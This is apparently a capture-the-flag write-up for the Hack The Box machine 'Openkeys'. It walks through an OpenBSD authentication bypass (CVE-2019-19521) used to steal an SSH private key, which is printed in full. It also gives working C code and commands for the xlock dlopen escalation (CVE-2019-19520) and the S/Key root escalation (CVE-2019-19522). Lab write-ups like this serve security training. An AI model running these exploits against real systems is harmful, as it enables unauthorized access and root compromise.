Openkeys

TL;DR

  • Find includes/auth.php.swp and /auth_helpers/check_auth on the website
  • Exploit CVE-2019-19521 on the authentication form to bypass it and retrieve jennifer’s ssh key
  • Exploit CVE-2019-19520 to get auth group privileges
  • Exploit CVE-2019-19522 to get root

User.txt

Reconnaissance

Let’s start by a Nmap scan:

magnussen@funcMyLife:~/openkeys$ nmap -sS -sV -sC -p- -vvv --min-rate 5000 --reason -oN openkeys.txt 10.10.10.199
# Nmap 7.60 scan initiated Thu Aug  6 11:07:35 2020 as: nmap -sS -sV -sC -p- -vvv --min-rate 5000 --reason -oN openkeys.txt openkeys.htb
Increasing send delay for 10.10.10.199 from 0 to 5 due to 52 out of 172 dropped probes since last increase.
Increasing send delay for 10.10.10.199 from 5 to 10 due to 96 out of 319 dropped probes since last increase.
Increasing send delay for 10.10.10.199 from 20 to 40 due to 82 out of 271 dropped probes since last increase.
Warning: 10.10.10.199 giving up on port because retransmission cap hit (10).
Nmap scan report for openkeys.htb (10.10.10.199)
Host is up, received echo-reply ttl 254 (0.18s latency).
Scanned at 2020-08-06 11:07:35 CEST for 153s
Not shown: 53161 filtered ports, 12372 closed ports
Reason: 53161 no-responses and 12372 resets
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.1 (protocol 2.0)
| ssh-hostkey:
|   3072 5e:ff:81:e9:1f:9b:f8:9a:25:df:5d:82:1a:dd:7a:81 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDe8l1l+kUpCKDTLXtOj9CY1xcde98zhpP0ANXSj7eI2KRVQuOpowxjzNf/NrDoIffaCtsNY36nnVw5JDbX2zU0+wKeMEoVHBlelNSneBHrYv4CuhlO7ll6tHZcs0kWSvFk8nipNTYXSm48EhFbspsC89Yv7REeRFq+uE1unEo8d+Dt2MmDzNnu+QtATp4wlSE1LIROq7cDRsR10S5j6fnaRbEYGquXSJkW6sV6PTZhGm8y6sXXQ3RynYJ129m5YTevg4fKpF/FkfEuPn5sRIj+aZCT6GjP9WEae+R/6lVEcMOmuq9K9CCqoGuwGakoK+m/upQDlI7pXcN8359a7XcMXSgriJIjV8yv350JsdLqIN704w5NLowAaInYPqXKNrXdxa5olprzF1dMlN0ClvV96tX9bg2ERrRhrLbSOZudrqefMNjSKqdNWLh7AQh8TnwdDMdXf/IOat1CjQMNwPTi3XkklU+Lm92J8Nd6gO8uLd6HuRLPVxUqJp6hKwLIbHM=
|   256 64:7a:5a:52:85:c5:6d:d5:4a:6b:a7:1a:9a:8a:b9:bb (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOM044THRHSb9MKRgg+pCGqLErFIOMaaGjCwwSpxVFsdQWW9kg3fROwqwtNVM1McgJ4Y4NwVzl+w5DZGK2OdhNE=
|   256 12:35:4b:6e:23:09:dc:ea:00:8c:72:20:c7:50:32:f3 (EdDSA)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIKuJoZTZonWY0/JkBfYeM2POVzE/TZfUJGA10PMXB1s
80/tcp open  http    syn-ack ttl 63 OpenBSD httpd
| http-methods:
|_  Supported Methods: GET HEAD
|_http-server-header: OpenBSD httpd
|_http-title: Site doesn't have a title (text/html).

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Aug  6 11:10:08 2020 -- 1 IP address (1 host up) scanned in 153.14 seconds

So we find 2 useful services:

  • SSH (22)
  • HTTP (80)

There’s an authentication form on the website:

Website

Enumeration

Let’s start by a Dirbuster scan to enumerate files on the website.

Dirbuster

A file seems quite interesting: auth.php.swp.

Swap Screen

Nice, we have a swp file and a probable username (jennifer).

Swap files store changes you’ve made to the buffer. If Vim or your computer crashes, they allow you to recover those changes.

Let’s download this file and check it out.

magnussen@funcMyLife:~/openkeys$ wget http://openkeys.htb/includes/auth.php.swp
magnussen@funcMyLife:~/openkeys$ vim -r auth.php.swp
<?php

function authenticate($username, $password)
{
    $cmd = escapeshellcmd("../auth_helpers/check_auth " . $username . " " . $password);
    system($cmd, $retcode);
    return $retcode;
}

function is_active_session()
{
    // Session timeout in seconds
    $session_timeout = 300;

    // Start the session
    session_start();

    // Is the user logged in?
    if(isset($_SESSION["logged_in"]))
    {
        // Has the session expired?
        $time = $_SERVER['REQUEST_TIME'];
        if (isset($_SESSION['last_activity']) &&
            ($time - $_SESSION['last_activity']) > $session_timeout)
        {
            close_session();
            return False;
        }
        else
        {
            // Session is active, update last activity time and return True
            $_SESSION['last_activity'] = $time;
            return True;
        }
    }
    else
    {
        return False;
    }
}

function init_session()
{
    $_SESSION["logged_in"] = True;
    $_SESSION["login_time"] = $_SERVER['REQUEST_TIME'];
    $_SESSION["last_activity"] = $_SERVER['REQUEST_TIME'];
    $_SESSION["remote_addr"] = $_SERVER['REMOTE_ADDR'];
    $_SESSION["user_agent"] = $_SERVER['HTTP_USER_AGENT'];
    $_SESSION["username"] = $_REQUEST['username'];
}

function close_session()
{
    session_unset();
    session_destroy();
    session_start();
}
?>

Ok, so we don’t have the whole authentication part, but we have an idea of how it works with the authentication function. It takes the username and password and uses them as arguments for auth_helpers/check_auth. Command injection seems difficult because of escapeshellcmd.

Authentication bypass (CVE-2019-19521)

First of all, let’s start by downloading check_auth and check the strings inside.

magnussen@funcMyLife:~/openkeys$ wget http://openkeys.htb/auth_helpers/check_auth
magnussen@funcMyLife:~/openkeys$ strings check_auth
/usr/libexec/ld.so
OpenBSD
libc.so.95.1
_csu_finish
exit
_Jv_RegisterClasses
atexit
auth_userokay
_end
AWAVAUATSH
t-E1
t7E1
ASAWAVAT
A\A^A_A[]
ASAWAVP
A^A_A[]L3
Linker: LLD 8.0.1
.interp
.note.openbsd.ident
.dynsym
.gnu.hash
.hash
.dynstr
.rela.dyn
.rela.plt
.eh_frame_hdr
.eh_frame
.text
.init
.fini
.plt
.data
.openbsd.randomdata
.jcr
.ctors
.dtors
.dynamic
.got
.got.plt
.bss
.comment
.symtab
.shstrtab
.strtab
crt0.c
___start
crtbegin.c
__CTOR_LIST__
__DTOR_LIST__
__EH_FRAME_BEGIN__
__JCR_LIST__
__do_fini
__do_fini.finalized
__do_init
__do_init.initialized
__do_init.object
test.c
crtend.c
__csu_do_fini_array
__init
__init_array_end
__init_array_start
__llvm_retpoline_r11
__preinit_array_end
__preinit_array_start
__retguard_1205
__start
_csu_finish
_start
exit
main
_Jv_RegisterClasses
__dso_handle
__fini
__fini_array_end
__fini_array_start
__guard_local
__register_frame_info
__retguard_1471
__retguard_1773
__retguard_2473
atexit
_GLOBAL_OFFSET_TABLE_
auth_userokay
_end
_DYNAMIC

No credentials here, unfortunately…

If we google for exploits on OpenBSD we quickly find this article.

This program seems to use OpenBSD’s authentication framework. Let’s see if we can use this exploit by giving -schallenge as username and a random password to the login form.

OpenBSD’s authentication framework interprets “-schallenge” as “-s challenge”, which forces the system into silently ignoring the challenge protocol that eventually bypasses the authentication automatically.

Authentication fail

Ok, it seems to work, unfortunately it searches for a username named -s challenge. In auth.php.swp we saw that the username is stored in $_SESSION, maybe we can set a cookie with username=jennifer and log in as jennifer.

Auth success

Nice, it seems to work, let’s follow the redirection.

SSH key

Nice! We have jennifer’s private key!

Let’s connect to the server and retrieve the user.txt flag.

magnussen@funcMyLife:~/openkeys$ cat jennifer.key
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
magnussen@funcMyLife:~/openkeys$ ssh -i jennifer.key jennifer@openkeys.htb
Last login: Thu Aug  6 14:25:23 2020 from 10.10.14.71
OpenBSD 6.6 (GENERIC) #353: Sat Oct 12 10:45:56 MDT 2019

Welcome to OpenBSD: The proactively secure Unix-like operating system.

Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code.  With bug reports, please try to ensure that
enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.

openkeys$ cat user.txt
36ab21239a15c537bde90626891d2b10

I AM ROOT

Escalate privileges to auth group (CVE-2019-19520)

As saw before in this article, xlock is installed by default on OpenBSD and mishandle environment-provided paths used in dlopen(). We can escalate privileges to the auth group.

openkeys$ cd /tmp         
openkeys$ mkdir magnussen
openkeys$ cd magnussen
openkeys$ cat > swrast_dri.c << "EOF"
> #include <paths.h>
> #include <sys/types.h>
> #include <unistd.h>
>
> static void __attribute__ ((constructor)) _init (void) {
>     gid_t rgid, egid, sgid;
>     if (getresgid(&rgid, &egid, &sgid) != 0) _exit(__LINE__);
>     if (setresgid(sgid, sgid, sgid) != 0) _exit(__LINE__);
>
>     char * const argv[] = { _PATH_KSHELL, NULL };
>     execve(argv[0], argv, NULL);
>     _exit(__LINE__);
> }
> EOF
openkeys$ gcc -fpic -shared -s -o swrast_dri.so swrast_dri.c
openkeys$ env -i /usr/X11R6/bin/Xvfb :66 -cc 0 &
[1] 69102
openkeys$ _XSERVTransmkdir: Owner of /tmp/.X11-unix should be set to root

openkeys$ env -i LIBGL_DRIVERS_PATH=. /usr/X11R6/bin/xlock -display :66
openkeys$ id
uid=1001(jennifer) gid=11(auth) groups=1001(jennifer), 0(wheel)

It worked! We’re now in the auth group allowing us to perform the final exploit and get root privileges!

Privilege escalation (CVE-2019-19522)

Now that we’re in the auth group we can exploit CVE-2019-19522.

If the S/Key or YubiKey authentication type is enabled (they are both installed by default but disabled), we could obtain root privileges because login_skey and login_yubikey do not verify that the files in /etc/skey and /var/db/yubikey belong to the correct user, and these directories are both writable by the “auth” group.

openkeys$ echo 'root md5 0100 obsd91335 8b6d96e0ef1b1c21' > /etc/skey/root
openkeys$ chmod 0600 /etc/skey/root
openkeys$ env -i TERM=vt220 su -l -a skey
otp-md5 99 obsd91335
S/Key Password:
openkeys# id
uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest)
openkeys# cat /root/root.txt
f3a553b1697050ae885e7c02dbfc6efa

Yeah! We’re root!

This was a nice box, especially the foothold and the exploits which are really interesting, thanks Polarbearer & Gibparadox for the box!